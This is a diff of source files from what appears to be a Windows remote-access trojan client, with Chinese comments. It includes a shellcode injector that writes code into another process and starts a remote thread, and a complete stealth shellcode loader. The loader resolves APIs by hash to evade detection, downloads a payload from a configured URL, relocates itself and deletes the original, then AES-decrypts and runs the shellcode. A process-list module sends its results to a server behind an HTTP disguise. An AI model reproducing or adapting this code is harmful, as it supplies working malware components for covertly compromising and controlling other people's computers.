|
||||
|
||||
// 复制主 token
|
||||
HANDLE hNewToken = NULL;
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
|
||||
Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
return 0;
|
||||
}
|
||||
|
||||
STARTUPINFOW si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi = {};
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
// 使用复制后的 token 启动 notepad
|
||||
if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
|
||||
NULL, 0, NULL, NULL, &si, &pi)) {
|
||||
Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
CloseHandle(hNewToken);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD dwProcessId = pi.dwProcessId;
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(hToken);
|
||||
CloseHandle(hNewToken);
|
||||
|
||||
return dwProcessId; // 返回子进程 ID
|
||||
}
|
||||
|
||||
// Find process id by name.
|
||||
DWORD GetProcessIdByName(const std::string& procName)
|
||||
{
|
||||
DWORD pid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||||
if (Process32First(hSnap, &pe32)) {
|
||||
do {
|
||||
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe32));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
|
||||
// Check if it's able to inject.
|
||||
HANDLE CheckProcess(DWORD pid)
|
||||
{
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||
FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed. PID: %d\n", pid);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Check process and system architecture.
|
||||
BOOL targetIs64Bit = FALSE;
|
||||
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||||
if (!success) {
|
||||
Mprintf("Get architecture failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||||
if (selfIs64Bit != targetIs64Bit) {
|
||||
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
|
||||
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
return hProcess;
|
||||
}
|
||||
|
||||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength,
|
||||
DWORD userFunction, LPVOID userData, DWORD userLength)
|
||||
{
|
||||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||||
LPSTR finalShellcode = NULL;
|
||||
DWORD finalSize;
|
||||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, userFunction, userData, userLength, 0x1, finalShellcode, finalSize)) {
|
||||
return false;
|
||||
}
|
||||
compressedBuffer = new BYTE[finalSize];
|
||||
ulTotalSize = finalSize;
|
||||
|
||||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||||
free(finalShellcode);
|
||||
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Inject shell code to target process.
|
||||
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize, DWORD userFunction, LPVOID userData, DWORD userLength)
|
||||
{
|
||||
HANDLE hProcess = CheckProcess(pid);
|
||||
if (!hProcess)
|
||||
return false;
|
||||
|
||||
// Convert DLL -> Shell code.
|
||||
LPBYTE shellcode = NULL;
|
||||
int len = 0;
|
||||
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize, userFunction, userData, userLength)) {
|
||||
Mprintf("MakeShellcode failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!remoteBuffer) {
|
||||
Mprintf("VirtualAllocEx failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||||
Mprintf("WriteProcessMemory failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
delete[] shellcode;
|
||||
return false;
|
||||
}
|
||||
delete[] shellcode;
|
||||
|
||||
// Shell code entry.
|
||||
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||||
if (!hThread) {
|
||||
Mprintf("CreateRemoteThread failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
Mprintf("Finish injecting to PID: %d\n", pid);
|
||||
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
309
client/SimpleSCLoader.c
Normal file
309
client/SimpleSCLoader.c
Normal file
@@ -0,0 +1,309 @@
|
||||
#include <windows.h>
|
||||
#include "../common/aes.h"
|
||||
|
||||
struct {
|
||||
unsigned char aes_key[16];
|
||||
unsigned char aes_iv[16];
|
||||
unsigned char *data;
|
||||
int len;
|
||||
int offset;
|
||||
char file[_MAX_PATH];
|
||||
char targetDir[_MAX_PATH];
|
||||
char downloadUrl[_MAX_PATH];
|
||||
} sc = { "Hello, World!" };
|
||||
|
||||
#define Kernel32Lib_Hash 0x1cca9ce6
|
||||
|
||||
#define GetProcAddress_Hash 0x1AB9B854
|
||||
typedef void* (WINAPI* _GetProcAddress)(HMODULE hModule, char* funcName);
|
||||
|
||||
#define LoadLibraryA_Hash 0x7F201F78
|
||||
typedef HMODULE(WINAPI* _LoadLibraryA)(LPCSTR lpLibFileName);
|
||||
|
||||
#define VirtualAlloc_Hash 0x5E893462
|
||||
typedef LPVOID(WINAPI* _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
|
||||
#define VirtualProtect_Hash 1819198468
|
||||
typedef BOOL(WINAPI* _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
|
||||
#define Sleep_Hash 1065713747
|
||||
typedef VOID(WINAPI* _Sleep)(DWORD dwMilliseconds);
|
||||
|
||||
#define GetModuleFileName_Hash 1888753264
|
||||
typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
|
||||
|
||||
#define SetFilePointer_Hash 1978850691
|
||||
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
|
||||
|
||||
#define IsFileExist_Hash 1123472280
|
||||
typedef DWORD(WINAPI* _IsFileExist)(LPCSTR lpFileName);
|
||||
|
||||
#define CreateFileA_Hash 1470354217
|
||||
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
|
||||
#define ReadFile_Hash 990362902
|
||||
typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
|
||||
|
||||
#define DeleteFileA_Hash 161619550
|
||||
typedef BOOL(WINAPI* _DeleteFileA)(LPCSTR lpFileName);
|
||||
|
||||
#define CopyFileA_Hash 524124328
|
||||
typedef BOOL(WINAPI* _CopyFileA)(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists);
|
||||
|
||||
#define CloseHandle_Hash 110641196
|
||||
typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject);
|
||||
|
||||
#define Download_Hash 557506787
|
||||
typedef HRESULT (WINAPI* _Download)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
|
||||
|
||||
typedef struct _UNICODE_STR {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
// LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first
|
||||
// entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDataStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA { //, 7 elements, 0x28 bytes
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK { // 2 elements, 0x8 bytes
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB { // 65 elements, 0x210 bytes
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
// BKDRHash
|
||||
inline uint32_t calc_hash(const char* str)
|
||||
{
|
||||
uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
|
||||
uint32_t hash = 0;
|
||||
while (*str) {
|
||||
hash = hash * seed + (*str++);
|
||||
}
|
||||
return (hash & 0x7FFFFFFF);
|
||||
}
|
||||
|
||||
inline uint32_t calc_hashW2(const wchar_t* str, int len)
|
||||
{
|
||||
uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
|
||||
uint32_t hash = 0;
|
||||
for (int i = 0; i < len; ++i) {
|
||||
wchar_t s = *str++;
|
||||
if (s >= 'a') s = s - 0x20;
|
||||
hash = hash * seed + s;
|
||||
}
|
||||
return (hash & 0x7FFFFFFF);
|
||||
}
|
||||
|
||||
inline HMODULE get_kernel32_base()
|
||||
{
|
||||
_PPEB peb = NULL;
|
||||
#ifdef _WIN64
|
||||
peb = (_PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
peb = (_PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
LIST_ENTRY* entry = peb->pLdr->InMemoryOrderModuleList.Flink;
|
||||
while (entry) {
|
||||
PLDR_DATA_TABLE_ENTRY e = (PLDR_DATA_TABLE_ENTRY)entry;
|
||||
if (calc_hashW2(e->BaseDllName.pBuffer, e->BaseDllName.Length / 2) == Kernel32Lib_Hash) {
|
||||
return (HMODULE)e->DllBase;
|
||||
}
|
||||
entry = entry->Flink;
|
||||
}
|
||||
return 0;
|
||||
};
|
||||
|
||||
#define cast(t, a) ((t)(a))
|
||||
#define cast_offset(t, p, o) ((t)((uint8_t *)(p) + (o)))
|
||||
|
||||
void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAddress get_proc_address)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dosh = cast(PIMAGE_DOS_HEADER, module);
|
||||
PIMAGE_NT_HEADERS nth = cast_offset(PIMAGE_NT_HEADERS, module, dosh->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY dataDict = &nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (dataDict->VirtualAddress == 0 || dataDict->Size == 0) return 0;
|
||||
PIMAGE_EXPORT_DIRECTORY exportDict = cast_offset(PIMAGE_EXPORT_DIRECTORY, module, dataDict->VirtualAddress);
|
||||
if (exportDict->NumberOfNames == 0) return 0;
|
||||
uint32_t* fn = cast_offset(uint32_t*, module, exportDict->AddressOfNames);
|
||||
uint32_t* fa = cast_offset(uint32_t*, module, exportDict->AddressOfFunctions);
|
||||
uint16_t* ord = cast_offset(uint16_t*, module, exportDict->AddressOfNameOrdinals);
|
||||
for (uint32_t i = 0; i < exportDict->NumberOfNames; i++) {
|
||||
char* name = cast_offset(char*, module, fn[i]);
|
||||
uint32_t hash = calc_hash(name);
|
||||
if (hash != func_hash) continue;
|
||||
return get_proc_address == 0 ? cast_offset(void*, module, fa[ord[i]]) : get_proc_address(module, name);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* strstr(const char* h, const char* n)
|
||||
{
|
||||
if (!*n) return (char*)h;
|
||||
for (; *h; h++) {
|
||||
const char* p = h, * q = n;
|
||||
while (*p && *q && *p == *q) p++, q++;
|
||||
if (!*q) return (char*)h;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// A simple shell code loader.
|
||||
// Copy left (c) yuanyuanxiang.
|
||||
#ifdef _DEBUG
|
||||
#define entry main
|
||||
#endif
|
||||
int entry()
|
||||
{
|
||||
HMODULE kernel32 = get_kernel32_base();
|
||||
if (!kernel32) return(1);
|
||||
_GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
|
||||
_LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress);
|
||||
_VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress);
|
||||
_VirtualProtect VirtualProtect = (_VirtualProtect)get_proc_address_from_hash(kernel32, VirtualProtect_Hash, GetProcAddress);
|
||||
_Sleep Sleep = (_Sleep)get_proc_address_from_hash(kernel32, Sleep_Hash, GetProcAddress);
|
||||
_GetModuleFileName GetModulePath = (_GetModuleFileName)get_proc_address_from_hash(kernel32, GetModuleFileName_Hash, GetProcAddress);
|
||||
_CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress);
|
||||
_SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress);
|
||||
_ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress);
|
||||
_DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress);
|
||||
_CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress);
|
||||
_CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress);
|
||||
_IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress);
|
||||
|
||||
if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH);
|
||||
char* file = sc.file, dstFile[2 * MAX_PATH];
|
||||
if (sc.targetDir[0]) {
|
||||
char curExe[MAX_PATH], * p = dstFile, * dir = sc.targetDir;
|
||||
GetModulePath(NULL, curExe, MAX_PATH);
|
||||
while (*dir) *p++ = *dir++;
|
||||
*p++ = '\\';
|
||||
while (*file) *p++ = *file++;
|
||||
*p = '\0';
|
||||
char name[] = { 'u','r','l','m','o','n','\0' };
|
||||
HMODULE urlmon = LoadLibraryA(name);
|
||||
_Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL;
|
||||
if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && URLDownloadToFileA) {
|
||||
if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1);
|
||||
}
|
||||
file = dstFile;
|
||||
if (!strstr(curExe, sc.targetDir)) {
|
||||
BOOL b = CopyFileA(sc.file, dstFile, FALSE);
|
||||
DeleteFileA(sc.file);
|
||||
if (IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES) return(2);
|
||||
}
|
||||
}
|
||||
HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return(3);
|
||||
SetFilePointer(hFile, (LONG)sc.offset, NULL, FILE_BEGIN);
|
||||
DWORD bytesRead = 0;
|
||||
sc.data = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return(4);
|
||||
CloseHandle(hFile);
|
||||
if (!sc.data || !sc.len) return(5);
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
|
||||
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
|
||||
DWORD oldProtect = 0;
|
||||
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return(6);
|
||||
((void(*)())sc.data)();
|
||||
Sleep(INFINITE);
|
||||
|
||||
return(0);
|
||||
}
|
||||
9
client/StdAfx.cpp
Normal file
9
client/StdAfx.cpp
Normal file
@@ -0,0 +1,9 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// ClientDll.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
char g_MasterID[_MAX_PATH] = {};
|
||||
71
client/StdAfx.h
Normal file
71
client/StdAfx.h
Normal file
@@ -0,0 +1,71 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// 是否使用ZLIB
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
|
||||
#endif
|
||||
|
||||
// 是否使用 Opus 音频压缩 (需要 opus 库)
|
||||
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
|
||||
#define USING_OPUS 1
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _DEBUG
|
||||
// 检测内存泄漏,需安装VLD;否则请注释此行
|
||||
#include "vld.h"
|
||||
#ifndef VLD_RPTHOOK_REMOVE
|
||||
#error 检测内存泄漏,需安装VLD;否则请注释#include "vld.h",或使用Release编译
|
||||
#endif
|
||||
#define USING_SAFETHRED 0
|
||||
#define IsDebug 1
|
||||
#else
|
||||
#define USING_SAFETHRED 1
|
||||
#define IsDebug 0
|
||||
#endif
|
||||
|
||||
// Insert your headers here
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
|
||||
#include <assert.h>
|
||||
#include <MMSystem.h>
|
||||
#pragma comment(lib, "winmm.lib")
|
||||
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_AR
|
||||
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||
|
||||
#include "common/logger.h"
|
||||
#include "common/locker.h"
|
||||
319
client/SystemManager.cpp
Normal file
319
client/SystemManager.cpp
Normal file
@@ -0,0 +1,319 @@
|
||||
// SystemManager.cpp: implementation of the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "SystemManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
#include <TLHELP32.H>
|
||||
|
||||
#ifndef PSAPI_VERSION
|
||||
#define PSAPI_VERSION 1
|
||||
#endif
|
||||
|
||||
#include <Psapi.h>
|
||||
#include "ShellcodeInj.h"
|
||||
|
||||
#pragma comment(lib,"psapi.lib")
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
|
||||
{
|
||||
if (bHow==COMMAND_SYSTEM) {
|
||||
//进程
|
||||
SendProcessList();
|
||||
} else if (bHow==COMMAND_WSLIST) {
|
||||
//窗口
|
||||
SendWindowsList();
|
||||
}
|
||||
}
|
||||
|
||||
VOID CSystemManager::SendProcessList()
|
||||
{
|
||||
LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
|
||||
szBuffer = NULL;
|
||||
}
|
||||
|
||||
void CSystemManager::SendWindowsList()
|
||||
{
|
||||
LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::GetProcessList()
|
||||
{
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限
|
||||
HANDLE hProcess = NULL;
|
||||
HANDLE hSnapshot = NULL;
|
||||
PROCESSENTRY32 pe32 = { 0 };
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
char szProcessFullPath[MAX_PATH] = { 0 };
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwLength = 0;
|
||||
DWORD cbNeeded = 0;
|
||||
HMODULE hModules = NULL; //进程中第一个模块的句柄
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头
|
||||
dwOffset = 1;
|
||||
if (Process32First(hSnapshot, &pe32)) { //得到第一个进程顺便判断一下系统快照是否成功
|
||||
do {
|
||||
memset(szProcessFullPath, 0, sizeof(szProcessFullPath)); // 清空路径缓冲区
|
||||
|
||||
//打开进程并返回句柄
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
|
||||
FALSE, pe32.th32ProcessID); //打开目标进程
|
||||
|
||||
if (hProcess != NULL) {
|
||||
// 优先使用 QueryFullProcessImageName(不受32/64位限制)
|
||||
DWORD dwSize = MAX_PATH;
|
||||
if (!QueryFullProcessImageNameA(hProcess, 0, szProcessFullPath, &dwSize)) {
|
||||
// 回退到原来的方法
|
||||
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||
DWORD dwReturn = GetModuleFileNameExA(hProcess, hModules,
|
||||
szProcessFullPath,
|
||||
sizeof(szProcessFullPath));
|
||||
if (dwReturn == 0) {
|
||||
strcpy(szProcessFullPath, pe32.szExeFile); // 最后用进程名
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess); // 关闭进程句柄,防止泄漏
|
||||
} else {
|
||||
// OpenProcess 失败,使用快照中的进程名
|
||||
strcpy(szProcessFullPath, pe32.szExeFile);
|
||||
}
|
||||
|
||||
